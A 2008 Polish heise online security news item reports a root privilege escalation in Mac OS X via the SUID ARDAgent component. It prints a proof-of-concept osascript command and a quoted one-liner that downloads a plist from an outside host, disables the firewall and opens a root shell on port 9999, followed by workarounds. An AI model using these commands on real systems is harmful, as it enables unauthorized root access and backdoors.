heise online

Wiadomości IT, artykuły i fora heise online

20 czerwca 2008, 12:08

Root-exploit dla Mac OS-a X

Wykryta właśnie luka w Mac OS-ie X 10.4 i 10.5 umożliwia potencjalnemu napastnikowi uzyskanie praw superużytkownika.

Problem

Przyczyną problemu jest komponent ARDAgent wchodzący w skład narzędzi do zdalnego zarządzania, którego plik programu ma ustawiony bit SUID. ARDAgent (Apple Remote Desktop) jest w stanie uruchamiać skrypty AppleScript z uprawnieniami użytkownika root – mogą one zawierać komendy powłoki. Do wykonania skryptu z podwyższonymi uprawnieniami nie jest potrzebne wcześniejsze uwierzytelnienie.

Przykłady

Aby zademonstrować ten problem, wystarczy, działając z poziomu zwykłego użytkownika albo gościa, uruchomić terminal, a w nim wpisać:

  osascript -e 'tell app "ARDAgent" to do shell script "whoami"';

Dla udanego ataku nie jest koniecznie niezbędny fizyczny dostęp do systemu. Można powiedzieć, że exploit funkcjonuje zdalnie, np. na serwerze, na którym użytkownik ma ograniczone w uprawnieniach konto z dostępem SSH.

W serwisie Slashdot pojawiła się już propozycja, jak można wykorzystać tę lukę do zainstalowania tylnego wejścia (backdoor). Linia:

  osascript -e 'tell app "ARDAgent" to do shell script "cd /System/Library/LaunchDaemons ; curl -o bash.plist http://cdslash.net/temp/bash.plist [cdslash.net] ; chmod 600 bash.plist ; launchctl load bash.plist ; launchctl start com.apple.bash ; ipfw disable firewall; launchctl "'

w teście heise Security otworzyła dostęp do konta administratora (rootshell) na porcie TCP o numerze 9999.

Rozwiązanie

Nie istnieje jeszcze rozwiązanie problemu.

Obejście

Tymczasem pojawiło się już wiele pomysłów na zaradzenie usterce. Exploit nie działa, jeżeli w Ustawieniach systemu Mac OS-a X 10.5 w zakładce Sharing włączona jest fabrycznie wyłączona opcja Zdalne zarządzanie.

Poza tym pojawiają się propozycje, aby całkowicie usunąć komponent Apple Remote Desktop, wcześniej archiwizując go do postaci paczki typu tarball. Podobnym wyściem jest skasowanie feralnego bitu SUID dla pliku, używając polecenia:

  chmod u-s /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS/ARDAg ent

Zobacz także

(pwi)

  • Podziel się
  • Wykop.pl
  • StumbleUpon
  • del.icio.us
  • OSnews.pl